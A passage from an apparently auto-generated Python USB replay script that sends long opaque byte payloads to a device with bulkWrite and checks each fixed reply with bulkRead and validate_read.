b\"\\x1E\\xDA\\xEC\\xBC\\x92\\xD9\\x8D\\x45\\x88\\x2F\\x44\\x7C\\x79\\x55\\x08\\xF0\"\n b\"\\x40\\xE3\\x09\\xC4\\x02\\xE1\\xD3\\xDA\\x17\\xAA\\xA4\\xF2\\x6B\\x50\\x2B\\xBA\"\n b\"\\x29\\xED\\xD3\\xB5\\xB2\\xE1\\xC9\\xD4\\x05\\x70\\x9F\\x16\\x28\\xDA\\xE4\\x91\"\n b\"\\xF8\\x23\\x89\\xAF\\xC2\\x70\\x00\\xE4\\x2E\\x68\\x65\\xAB\\xDD\\xC6\\x28\\x6F\"\n b\"\\x0F\\x44\\x1A\\x6F\\x0A\\x78\\x32\\x7F\\x85\\x7B\\x1C\\xB0\")\n # Generated from packet 2383/2384\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2383/2384\")\n # Generated from packet 2385/2386\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x95\\x88\\x59\\xA7\\x41\\x2D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF7\\x97\\xA5\\xBF\\x1D\\xA1\\x78\\x81\"\n b\"\\xF0\\x47\\xD8\\x2B\\xF0\\x1C\\x02\\xA6\\x9F\\xB0\\x11\\xC9\\xF1\\x26\\x51\\x10\"\n b\"\\xBE\\x08\\xAE\\x6C\\xBE\\x28\\xD6\\xC7\\x43\\x0E\\xE2\\x1D\\xBE\\xDF\\xDD\\xBC\"\n b\"\\xEB\\x7D\\x88\\x5E\\x47\\x93\\xC4\\xD4\\x53\\x95\\x84\\x83\\x1D\\xBE\\x0D\\xC7\"\n b\"\\xDD\\x8F\\xF7\\xB1\\x8A\\x64\\x2E\\xB2\\xA9\\x6F\\x76\\x2A\\x26\\x2D\\x3E\\x03\"\n b\"\\x4F\\x65\\x31\\xCF\\xEA\\xCA\\x75\\x21\\x18\\xBA\\xD6\\x10\\xFD\\xB3\\xE1\\x25\"\n b\"\\xB2\\xD2\\x6C\\x1A\\xC5\\xCC\\x52\\xCF\\xA4\\x15\\x66\\xCA\\xE4\\x0F\\x35\\x9E\"\n b\"\\x15\\xA9\\xCD\\x97\\xE1\\xF0\\x7C\\x26\\x72\\x8E\\xBA\\x1C\\xC0\\x1E\\x96\\x35\"\n b\"\\x4C\\xBF\\x0E\\xC6\\x7D\\xE3\\xEF\\x85\\x0D\\xD7\\xFE\\xED\\xAA\\x99\\xDD\\x49\"\n b\"\\x18\\x2A\\xF6\\x76\\xCD\\x9D\\x42\\xA4\\xB6\\xC0\\x06\\x70\\xBF\\xDE\\x70\\xA6\"\n b\"\\x70\\x2D\\xD1\\xCF\\x37\\x3A\\x16\\xF5\\x26\\x40\\x42\\x57\\xDB\\x93\\x82\\xF6\"\n b\"\\x24\\x0D\\xE8\\x44\\x0A\\x72\\x24\\xDD\\x1D\\x4E\\x22\\xD0\\x6F\\x5D\\xD2\\x94\"\n b\"\\x85\\x46\\x0E\\xF0\\xEB\\x90\\x93\\x60\\x46\\x96\\x74\\xEE\\x23\\xC6\\x74\\x77\"\n b\"\\xD3\\x54\\x4D\\xD9\\xCB\\x48\\x41\\x4B\\x19\\xE3\\x86\\x27\\x7E\\x32\\x1B\\x44\"\n b\"\\xB1\\xDD\\x6F\\x7C\\xD0\\x9B\\x1C\\xF1\\xB9\\xC7\\x0B\\xB9\\xB8\\xFD\\xCE\\x9E\"\n b\"\\x58\\x6F\\x03\\x06\\xBC\\x9B\\xAC\\x5D\\xF6\\x13\\x6C\\xC0\\x3E\\x14\\x21\\x86\"\n b\"\\x9F\\xD5\\x4D\\x46\\x91\\x86\\xC0\\x2C\\x0F\\x5A\\x37\\x8E\")\n # Generated from packet 2387/2388\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2387/2388\")\n # Generated from packet 2389/2390\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xAE\\xE4\\x47\\x67\\xE9\\x5D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x72\\xC7\\xF2\\x11\\x26\\xF7\\xC2\\xE4\"\n b\"\\xF6\\xA6\\x43\\x37\\x3A\\xE1\\x5A\\xFF\\x71\\x5E\\xF9\\x71\\xD6\\x6B\\xAE\\x6C\"\n b\"\\x1D\\x9E\\xFE\\x2E\\x75\\x9B\\x76\\xFE\\x42\\x64\\x33\\xD4\\xB4\\xAD\\xB3\\xE9\"\n b\"\\xEA\\x8A\\xCD\\x9E\\x03\\x3D\\x76\\x42\\xE5\\x55\\xA8\\x3D\\x14\\x22\\x4A\\xA4\"\n b\"\\x89\\xBE\\x33\\x18\\x06\\x1A\\xEB\\xE2\\x36\\xE6\\x4A\\x98\\xE4\\x35\\x7E\\xF3\"\n b\"\\x44\\x90\\x64\\x61\\x4B\\xD5\\x5D\\x6C\\xEA\\xE7\\xE4\\x09\\x90\\xB5\\xE6\\x3C\"\n b\"\\xC4\\x0B\\x58\\x8B\\x3E\\x9C\\xF0\\xC5\\xA6\\x4A\\xE6\\x59\\x06\\xFC\\xD8\\x8B\"\n b\"\\x3A\\x71\\xE6\\x79\\xF3\\x71\\xBA\\x76\\x5B\\x78\\x01\\x6F\\x49\\x76\\x7D\\x0B\"\n b\"\\x69\\xE4\\x02\\x2C\\x15\\xBF\\x35\\x97\\x93\\xD0\\xAA\\x45\\x74\\xBE\\x30\\x6B\"\n b\"\\x79\\x20\\x2E\\x50\\x94\\x27\\x5F\\xE9\\x0D\\xEA\\xEE\\xA5\\xE4\\xF8\\x66\\xA2\"\n b\"\\xF3\\xD4\\xB2\\xFB\\x58\\xE2\\x78\\x4B\\x87\\x67\\xE8\\x36\\x1A\\x19\\x77\\x2B\"\n b\"\\x8E\\x0B\\x7E\\x55\\x2B\\x82\\x79\\xD1\\x1D\\x44\\x86\\x37\\x78\\xF1\\x53\\x80\"\n b\"\\x96\\x1C\\x65\\x46\\xE2\\x44\\x8D\\xA6\\x43\\xAE\\xE5\\x67\\x6E\\x5F\\x8F\\x67\"\n b\"\\xC5\\xB1\\xA5\\x2B\\x33\\x9B\\x24\\x70\\x25\\xB2\\x84\\x04\\x57\\xE6\\x94\\xED\"\n b\"\\xD5\\x66\\xC4\\x86\\x9C\\xF5\\xB6\\x05\\xD0\\x14\\x5E\\x4E\\xF5\\x6C\\x83\\x08\"\n b\"\\x67\\xE4\\xD2\\xB1\\xA0\\x19\\x5F\\xCE\\xBE\\x41\\x85\\xF9\\xFA\\x98\\x05\\x5B\"\n b\"\\xE4\\x16\\x14\\xD3\\xF5\\x38\\xA9\\x28\\xD6\\x27\\xF5\\x9A\")\n # Generated from packet 2391/2392\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2391/2392\")\n # Generated from packet 2393/2394\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xB7\\x1F\\x8D\\x46\\x67\\x5F\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x06\\x29\\xBC\\x4C\\x1F\\x60\\x32\\x31\"\n b\"\\x58\\x83\\x26\\x79\\x18\\x48\\x37\\x08\\x2D\\xAE\\x9A\\x2F\\x44\\xBC\\x1E\\x7A\"\n b\"\\x34\\x60\\x82\\x17\\x7A\\xCE\\xEC\\xD8\\xFE\\x25\\x3E\\x4A\\xEB\\x74\\x65\\xD2\"\n b\"\\xBD\\x2B\\x57\\x5D\\xF7\\xC6\\x2D\\x83\\x8C\\xB9\\xE5\\xA9\\x1F\\x95\\x48\\xA4\"\n b\"\\xD0\\x2F\\xEF\\x56\\x7D\\x01\\x06\\x3A\\xD6\\xFC\\x8C\\x4F\\x89\\x65\\x69\\xF3\"\n b\"\\x48\\xC7\\x25\\x53\\x1C\\xDF\\x54\\xB9\\xEC\\x04\\x51\\xAC\\x58\\x72\\xC4\\xF9\"\n b\"\\x0C\\xEC\\x6C\\x7A\\x01\\x39\\x96\\x08\\x9D\\xD7\\x48\\xAC\\xD2\\xDC\\x23\\xE4\"\n b\"\\xA2\\x05\\xDE\\xF1\\xEF\\x88\\x5E\\xFE\\x49\\xD0\\x21\\xB0\\x42\\x2C\\x1F\\xD3\"\n b\"\\xDD\\xAD\\x34\\x4B\\x5C\\xEC\\x5F\\xD8\\x77\\x87\\x17\\x3D\\x14\\xD5\\x61\\x4B\"\n b\"\\x60\\x8D\\x67\\xE5\\xEC\\x57\\xB8\\x5D\\xFC\\xDD\\x17\\xF2\\x61\\xB9\\xEA\\xD5\"\n b\"\\x96\\x9C\\x4A\\x2C\\x42\\x2D\\xAC\\x7A\\xB5\\xD2\\xAA\\xB3\\x12\\x28\\x15\\x08\"\n b\"\\x3E\\x30\\x97\\x4B\\x19\\x96\\xD9\\x9E\\xA7\\x75\\x98\\xF3\\x2D\\xDE\\xD4\\x41\"\n b\"\\x75\\x93\\x0D\\x8D\\x2C\\x77\\x3E\\x6C\\x9B\\x0F\\x87\\xCE\\x67\\x3D\\x0E\\x8B\"\n b\"\\xB8\\x9A\\x3B\\xC2\\xBE\\x5C\\x35\\x1C\\xAA\\x16\\xC8\\x97\\xAB\\x55\\xDF\\x6A\"\n b\"\\x29\\x27\\x51\\x3F\\xAC\\x8F\\x4E\\x4E\\xFB\\x40\\xC3\\x50\\x9F\\x1D\\x7B\\x10\"\n b\"\\x69\\xFC\\x23\\x60\\xFC\\xE8\\xAA\\x76\\x43\\x87\\x0B\\xC5\\xA9\\x3E\\x12\\xCF\"\n b\"\\xC6\\x51\\xF6\\xF1\\xAF\\xC7\\x10\\x6B\\x16\\x70\\xB8\\x8F\")\n # Generated from packet 2395/2396\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2395/2396\")\n # Generated from packet 2397/2398\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x61\\xD3\\x26\\x66\\x41\\x5E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x2A\\xE2\\xC3\\xC2\\xA5\\x2A\\x2B\\x97\"\n b\"\\x96\\x2C\\x2D\\xC6\\x80\\x0B\\x72\\x0C\\xB4\\x11\\x4C\\x0E\\xE8\\xCD\\xAB\\x9D\"\n b\"\\xE5\\x31\\x12\\x80\\x84\\x47\\xFE\\x70\\xA9\\xFE\\x72\\x21\\x3A\\xEA\\x5B\\x02\"\n b\"\\x8D\\x3F\\x29\\x8F\\x49\\x8E\\x3D\\xB8\\x40\\xC9\\xD0\\xAC\\xC6\\xCF\\x12\\xCA\"\n b\"\\x45\\x05\\x7F\\x24\\x0D\\x71\\xA8\\x78\\xD7\\x69\\x05\\x15\\x63\\x83\\x1C\\x80\"\n b\"\\x6E\\x32\\x24\\xD3\\x9E\\xC8\\xF3\\xA5\\x78\\x82\\x1B\\x12\\x01\\xF2\\x39\\xB8\"\n b\"\\xAB\\xE4\\x09\\xA7\\xCA\\xCF\\x6C\\xBF\\x82\\x7B\\xDE\\x2D\\x53\\x8C\\x46\\x58\"\n b\"\\x05\\xA0\\x0D\\xF7\\x40\\x60\\x83\\xB0\\xE5\\x8E\\xB3\\x5C\\xE0\\x0F\\x65\\x7E\"\n b\"\\xB1\\xAE\\xE5\\xB6\\x45\\x0B\\x9F\\x28\\xC7\\xB9\\x24\\xA9\\x16\\xAD\\x60\\x9A\"\n b\"\\xF5\\x81\\x58\\x3A\\xBB\\xA0\\x68\\x7F\\x6F\\xFE\\xCE\\x79\\x93\\xCD\\xB5\\x13\"\n b\"\\x2C\\xEE\\x85\\xDF\\x3F\\x1B\\xA1\\xD7\\x92\\x5A\\x2E\\x54\\x7C\\x03\\xE6\\x1C\"\n b\"\\x56\\xB8\\x6A\\x3C\\xBE\\x47\\xD3\\x26\\x62\\x86\\x6C\\xA8\\x10\\x59\\xEE\\x70\"\n b\"\\x1B\\x22\\x27\\xA3\\xE4\\xF7\\x2D\\x3A\\xA7\\x23\\xC4\\x90\\x6E\\xB2\\x0A\\x45\"\n b\"\\xB8\\x25\\xCD\\x5C\\xE3\\xF2\\x0C\\xD7\\xA1\\x44\\x46\\x97\\x5D\\x05\\x6C\\x97\"\n b\"\\x94\\x35\\xA3\\xC1\\x30\\x8A\\x65\\xBA\\xB0\\x92\\xDC\\x2A\\x14\\xAC\\xD0\\x03\"\n b\"\\x60\\xB6\\x3F\\xCD\\xC0\\xB3\\x72\\x65\\xE1\\x60\\x90\\xFF\\x79\\x6E\\x5C\\xA2\"\n b\"\\xA5\\xC3\\x57\\xB1\\xF6\\xCA\\x4B\\x25\\xCC\\xDC\\xDE\\x78\")\n # Generated from packet 2399/2400\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2399/2400\")\n # Generated from packet 2401/2402\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x85\\x8A\\x0E\\x94\\xA5\\x5E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xFD\\x48\\x90\\x26\\xB7\\xE2\\x0B\\x35\"\n b\"\\x5F\\x7C\\x04\\xE0\\xE5\\x06\\x4D\\xD1\\xF2\\x17\\xDB\\x77\\xC9\\xE7\\x91\\xDB\"\n b\"\\xC6\\xA0\\xEF\\x8A\\x33\\x23\\x81\\xFE\\xD9\\x35\\x9E\\xD9\\x32\\x48\\x59\\x81\"\n b\"\\xAB\\xB2\\x34\\xA5\\x05\\xEE\\xA8\\x19\\xDA\\x5D\\x3E\\xAE\\x75\\x20\\x1F\\x0E\"\n b\"\\x63\\xCF\\x42\\x80\\x47\\xF4\\x4C\\x9C\\x6E\\x60\\x45\\x6D\\x2F\\x8D\\x10\\xF9\"\n b\"\\x3A\\xF3\\x08\\xA9\\x5D\\xB0\\xE7\\xFF\\x56\\x67\\xAF\\xFA\\x33\\x2F\\x69\\x0E\"\n b\"\\xD3\\x47\\x54\\xF0\\xA2\\x55\\x14\\xB0\\x72\\xB4\\xFA\\x6B\\x1D\\x54\\x0A\\xD7\"\n b\"\\xFE\\x92\\x2D\\x4B\\x8A\\x39\\x48\\x27\\x24\\xB7\\x25\\x50\\x96\\xC6\\xC1\\x0F\"\n b\"\\xFD\\xCD\\x56\\x5A\\x38\\x6D\\x7C\\x87\\x21\\x9A\\x50\\x26\\x00\\x9D\\xD6\\xFD\"\n b\"\\xA9\\x9D\\x45\\x3D\\x2D\\xBE\\x03\\x82\\xCE\\x56\\x44\\x53\\x8C\\xE8\\xB8\\xF9\"\n b\"\\x62\\x1B\\xF4\\xBB\\x56\\xA5\\xAB\\xE1\\x3B\\x3E\\x23\\x97\\xBE\\xE4\\xA5\\xC6\"\n b\"\\x41\\x19\\xC1\\x77\\x36\\xBD\\x4E\\x56\\x36\\x91\\xE6\\x73\\x47\\x72\\x83\\xB0\"\n b\"\\x35\\xD6\\xFE\\x76\\x2F\\x94\\x72\\x21\\xA6\\xEA\\x55\\x02\\x11\\x3F\\x29\\x8F\"\n b\"\\xD5\\x8E\\x3D\\xB8\\xDC\\xC9\\xD0\\xAC\\x5A\\xCF\\x12\\xCA\\xD9\\x05\\x7F\\x24\"\n b\"\\x1E\\xB3\\xB8\\xD5\\x86\\x8F\\x19\\xE1\\x09\\x47\\x6C\\x76\\xAA\\x92\\x34\\xF3\"\n b\"\\x02\\xC8\\xF3\\x95\\xD4\\xC3\\x9D\\x5E\\x7D\\xF6\\x61\\x62\\x9B\\x35\\xE5\\xDD\"\n b\"\\x7F\\x7D\\x44\\x67\\x8C\\xAF\\x08\\x29\\xDF\\xFC\\x46\\x58\")\n # Generated from packet 2403/2404\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2403/2404\")\n # Generated from packet 2405/2406\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x5B\\x29\\x99\\x55\\xD5\\x11\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x28\\x5D\\x4E\\xC3\\x7B\\x00\\x07\\x97\"\n b\"\\xAC\\x12\\x7A\\x69\\xCA\\x1C\\x5D\\xED\\x6A\\x5E\\x52\\x89\\xF9\\x91\\xC2\\x7A\"\n b\"\\xB1\\x7E\\x04\\x3A\\x03\\x2E\\xA1\\x40\\x86\\x4B\\x2F\\x78\\x37\\x36\\x8B\\x4B\"\n b\"\\x5C\\x2F\\x21\\x6F\\x44\\x16\\xE6\\x78\\x56\\x79\\x5C\\xD3\\x05\\x55\\x37\\x09\"\n b\"\\x02\\x29\\x13\\x64\\x6F\\x68\\x06\\x9C\\x47\\xFD\\x2E\\x0F\\xF4\\xEB\\x67\\x0C\"\n b\"\\xA0\\xE0\\x46\\x62\\x7D\\xDE\\xB6\\x3F\\xBF\\xC4\\x65\\xFD\\xD0\\x9C\\xB3\\xD4\"\n b\"\\xF5\\x4E\\x34\\x5B\\xBE\\x39\\x1F\\xF5\\x79\\x8A\\xD7\\x7A\\x74\\x30\\x78\\x27\"\n b\"\\xBB\\xB4\\x8F\\x3B\\xF8\\x82\\xDE\\xFE\\xCA\\xE8\\x91\\x26\\xCE\\x0F\\x98\\x3D\"\n b\"\\xAC\\xFF\\x58\\xBC\\xDA\\x50\\x41\\x7A\\x9F\\xB6\\x7E\\x6C\\xD2\\x31\\x4F\\xE8\"\n b\"\\x9B\\x3C\\xE7\\xDA\\x5B\\xAB\\xB5\\x59\\x23\\x9E\\xBE\\x8B\\xC5\\x56\\x64\\x43\"\n b\"\\xF3\\x92\\xE0\\xE4\\xE2\\x6E\\x7F\\xA4\\xCB\\x36\\x63\\x46\\xA9\\x1C\\x61\\x6E\"\n b\"\\x16\\x89\\x2D\\xA0\\x12\\x54\\x3D\\x5C\\xE6\\x5F\\xDE\\x77\\x07\\x5D\\xD7\\xAD\"\n b\"\\x65\\x6E\\xD3\\xEA\\x1A\\x42\\xC8\\x7E\\x4D\\x9B\\xD3\\x6E\\xDD\\x83\\x90\\x88\"\n b\"\\xF3\\xBC\\x31\\x08\\x40\\xE0\\x60\\xB6\\xB0\\xEE\\x9B\\x21\\x99\\x60\\xF4\\x2A\"\n b\"\\xF0\\x74\\x74\\x0B\\x8F\\xF4\\x07\\x73\\x44\\xC5\\xA4\\x98\\x11\\x34\\x5D\\xFE\"\n b\"\\x1B\\x69\\x6C\\xB6\\xD5\\xA6\\xA2\\x80\\x92\\x20\\x69\\x4A\\x32\\xE9\\x60\\xFE\"\n b\"\\x08\\x84\\xDE\\x0A\\x4D\\x2E\\x1B\\xBE\\x25\\x3C\\x72\\x57\")\n # Generated from packet 2407/2408\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2407/2408\")\n # Generated from packet 2409/2410\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xF5\\xA3\\x6D\\x15\\x9F\\x19\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xEA\\x7D\\xD2\\x7E\\x4A\\x20\\x14\\x43\"\n b\"\\x23\\xB1\\x4C\\x7A\\xB4\\xFE\\xF2\\x32\\xF2\\x72\\xD6\\xAD\\xD1\\x0C\\xDC\\x3F\"\n b\"\\x95\\xA9\\xA0\\x8A\\x54\\x39\\xDD\\x41\\x79\\x98\\xC8\\x40\\xB1\\x7D\\xCE\\x7F\"\n b\"\\x41\\xD8\\x75\\x47\\x9B\\x09\\x22\\x06\\x91\\x81\\xD9\\x36\\x02\\x44\\x41\\xA4\"\n b\"\\x9D\\x36\\x0E\\x60\\xEC\\x82\\x74\\x89\\xE7\\xFC\\x7B\\x63\\x31\\x8A\\x41\\x1C\"\n b\"\\x71\\x07\\x69\\x1B\\x1C\\x61\\xB8\\x76\\x11\\xAC\\x40\\x8E\\x0B\\xB8\\xF2\\xF9\"\n b\"\\xA0\\xF8\\x6E\\x80\\x87\\xEC\\x58\\xEC\\xCB\\xC0\\xAF\\x67\\xFA\\x04\\x25\\xE7\"\n b\"\\x04\\x22\\x4C\\x5E\\xDE\\xCD\\x60\\x2F\\x94\\xE1\\xD3\\x37\\xAF\\x90\\x7A\\xAB\"\n b\"\\x27\\x31\\x59\\xEF\\x95\\x0E\\x13\\x24\\xBE\\xF8\\x4A\\x73\\x7C\\x38\\xB9\\xEC\"\n b\"\\xEF\\x41\\xA6\\xD3\\x5A\\x0B\\xEB\\x8C\\x04\\xB1\\xD0\\xAF\\xE9\\xE0\\x73\\x02\"\n b\"\\xF0\\xBC\\x8C\\x18\\x2D\\xDD\\x70\\xCA\\x76\\x65\\x64\\x6D\\xCD\\xFA\\x3E\\xFB\"\n b\"\\x8F\\xB3\\x66\\xF0\\x4F\\x55\\xA2\\x6B\\xEB\\xEC\\xA8\\xCF\\xEA\\xE3\\x5B\\x4B\"\n b\"\\x88\\x16\\xF5\\x7D\\x2A\\xBD\\x07\\xE9\\xF9\\x37\\x7F\\x74\\xA3\\x32\\x85\\x90\"\n b\"\\xDA\\xBF\\x58\\x7C\\x7E\\xC7\\x7F\\xE4\\x72\\x24\\x59\\xFE\\x7B\\x11\\x0D\\xA9\"\n b\"\\x50\\x03\\xD4\\x25\\x52\\xA0\\x50\\x09\\x5F\\x90\\xC7\\x0A\\xB8\\xDB\\x61\\x44\"\n b\"\\x90\\x35\\xD0\\xCE\\xFF\\x99\\x33\\x0F\\x78\\xB7\\x6E\\xAF\\x31\\x33\\x9B\\xAA\"\n b\"\\xA0\\x8F\\x90\\xF7\\x9E\\xDE\\x9F\\xF4\\x4E\\xEE\\xD3\\xCD\")\n # Generated from packet 2411/2412\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2411/2412\")\n # Generated from packet 2413/2414\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x13\\x36\\x13\\x50\\xE4\\x22\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xBB\\x6B\\x75\\xC3\\xBA\\x59\\x5A\\x6C\"\n b\"\\x0A\\x81\\xD5\\x1B\\x6D\\x46\\xA5\\x37\\x19\\x9E\\x2E\\x65\\x43\\x92\\xF3\\x7F\"\n b\"\\xB3\\x68\\xBB\\x21\\x14\\x71\\x8E\\xB0\\x55\\xC2\\x9E\\x51\\x9B\\x0B\\x1E\\x85\"\n b\"\\xF9\\xB9\\x2A\\x5A\\x6E\\xC7\\x94\\xCA\\x36\\xE5\\x5F\\x0B\\x75\\x94\\x3C\\x96\"\n b\"\\x1E\\x43\\x3B\\x38\\x7E\\x06\\x8C\\xC7\\x37\\x39\\x72\\xC8\\x13\\x4A\\x02\\xB4\"\n b\"\\xAF\\x91\\x05\\x85\\xBB\\xC2\\xB1\\xB7\\x12\\x01\\xA4\\xE6\\x17\\x7F\\x3E\\x88\"\n b\"\\xD1\\x22\\x92\\xB2\\x7A\\x7C\\x7D\\x0E\\xF3\\xCD\\xD7\\xB4\\x27\\x5E\\x2D\\x1E\"\n b\"\\x6B\\xA6\\xB5\\xAE\\xB9\\x20\\x78\\x81\\xD2\\xD6\\x58\\x39\\xE0\\x71\\xC6\\x91\"\n b\"\\xA4\\xA1\\x0E\\x44\\xC3\\xCB\\xB5\\x14\\x08\\xE3\\xA0\\xDA\\x5A\\x54\\x26\\x29\"\n b\"\\x61\\xBF\\xF0\\x0B\\x14\\xDF\\xAD\\xCC\\xD6\\x92\\x8B\\x61\\xF1\\x6A\\x36\\x94\"\n b\"\\xE1\\xA8\\x86\\x62\\xFE\\x52\\xEB\\x37\\x0B\\x8A\\x97\\x35\\xAA\\x46\\xFA\\x87\"\n b\"\\x2B\\xA2\\xFC\\x46\\x42\\x8E\\xBE\\x56\\xE1\\x39\\x19\\xEB\\x9C\\xC3\\xCC\\x7A\"\n b\"\\x48\\x2B\\x52\\x24\\xE9\\xD7\\x41\\x4D\\x8A\\xB7\\x01\\x49\\x9F\\x9C\\x04\\xC3\"\n b\"\\x26\\xD8\\x06\\x74\\xF9\\x26\\x35\\xFA\\xBD\\x56\\xC6\\x0F\\xF8\\x03\\x8C\\x5C\"\n b\"\\xA4\\xCB\\xD6\\x2B\\x69\\xEE\\xD8\\x0C\\xF8\\x5E\\x0E\\xC6\\xDB\\x06\\xEF\\x04\"\n b\"\\xFF\\x19\\xF8\\x19\\x7A\\x69\\x5D\\xAD\\x3C\\xB8\\x44\\xD9\\xEF\\x32\\xAE\\x80\"\n b\"\\x47\\xCC\\x84\\xC9\\xE5\\x4F\\x2D\\x4A\\xA0\\xFD\\x4F\\xF8\")\n # Generated from packet 2415/2416\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2415/2416\")\n # Generated from packet 2417/2418\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x01\\x94\\x4F\\x00\\x18\\x57\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xC1\\xFE\\xFE\\xD2\\x65\\x46\\x85\\xBC\"\n b\"\\x37\\x42\\xFD\\x40\\x02\\x34\\xE2\\x4A\\x74\\xCA\\xE2\\xDE\\x54\\xC2\\x64\\x0E\"\n b\"\\x8A\\xEC\\x49\\x18\\x94\\x5D\\xEE\\x46\\x4D\\x76\\x0A\\x68\\x19\\x8B\\xD6\\xA7\"\n b\"\\xA9\\x70\\xA0\\xEC\\xF9\\xC4\\x72\\xEB\\x01\\x96\\xE3\\x27\\x1C\\xB0\\xEB\\xB5\"\n b\"\\x09\\xC5\\x5B\\xAE\\x26\\x92\\x41\\x77\\xDB\\x36\\x2E\\xAA\\xF1\\x48\\xC7\\xE2\"\n b\"\\x74\\x1B\\x8D\\x32\\xDC\\x36\\x67\\x44\\x78\\xDA\\x79\\xD1\\x09\\xEB\\x2B\\xE2\"\n b\"\\x06\\xE2\\x4D\\x1F\\xBF\\x50\\xAF\\x58\\x97\\xBB\\x58\\x64\\xD9\\xAB\\x18\\x29\"\n b\"\\x46\\x00\\x4F\\xC0\\xB4\\x07\\x19\\xD0\\xE4\\xBA\\x01\\x15\\x48\\x96\\x1C\\x96\"\n b\"\\x89\\x30\\x22\\x30\\xE5\\xFD\\x75\\xF5\\xA3\\xF0\\x9F\\x46\\x2A\\x97\\x2B\\xE0\"\n b\"\\xC0\\x9A\\xCC\\x81\\x89\\x60\\x72\\x4B\\x5F\\x8A\\xAE\\xD3\\xF8\\x51\\xCE\\x2B\"\n b\"\\x0E\\x1B\\x99\\xE3\\x7F\\x05\\x93\\xF0\\xEE\\x2E\\x6E\\xE6\\x5B\\x8C\\x66\\x7C\"\n b\"\\xB9\\x66\\x13\\x46\\x0A\\xFA\\x1D\\xDF\\xBC\\xC8\\x94\\x55\\x59\\x1C\\xEC\\x65\"\n b\"\\xC0\\x1D\\x62\\xF6\\x81\\x8B\\x7E\\xD4\\x46\\x29\\x8A\\xE5\\x36\\xFE\\x21\\x29\"\n b\"\\x51\\x8F\\xA8\\xEE\\x9A\\x75\\x0B\\xA2\\xB1\\x68\\x40\\x3E\\xC0\\x45\\xF4\\xC9\"\n b\"\\x7D\\x99\\x6A\\x3C\\xAC\\x8A\\xE3\\xA9\\x25\\x1D\\x68\\x28\\x9C\\xF3\\x6A\\x84\"\n b\"\\x35\\x67\\x5C\\x6B\\xDF\\xB6\\x2D\\x3A\\x8C\\x12\\xB4\\xD1\\x13\\x29\\x7E\\x51\"\n b\"\\x11\\xB4\\xBB\\x39\\xB8\\x6D\\xDC\\x3F\\xAC\\x97\\xD2\\x03\")\n # Generated from packet 2419/2420\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 2419/2420\")\n # Generated from packet 2421/2422\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x57\\xD0\\x2C\\x6F\\x9F\\x74\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD1\\xD4\\x67\\x61\\x0E\\xE6\\x2F\\x9F\"\n b\"\\xDC\\x09\\x87\\x1D\\xF8\\x95\\x90\\xA6\\x70\\x9F\\x08\\x89\\xE5\\x5E\\x7D\\xFD\"\n b\"\\x5A\\x68\\xC5\\x64\\x5C\\xF9\\xD6\\x88\\x39\\x64\\x16\\x8A\\xBB\\xB9\\x00\\x6C\"\n b\"\\x82\\x6E\\xB4\\x70\\x70\\x41\\xCC\\x3F\\xBB\\x92\\x85\\x06\\xEE\\x84\\xE0\\xFD\"\n b\"\\x7D\\x8C\\x08\\xA9\\x32\\xF7\\xC7\\x27\\x9C\\xA8\\xAA\\x11\\xFB\\x86\\x96\\x52\"\n b\"\\x0E\\xA4\\x88\\xB4\\xE1\\xE4\\x64\\xE7\\xA3\\xBD\\x0A\\x6F\\x93\\xF3\\xBB\\x06\"\n 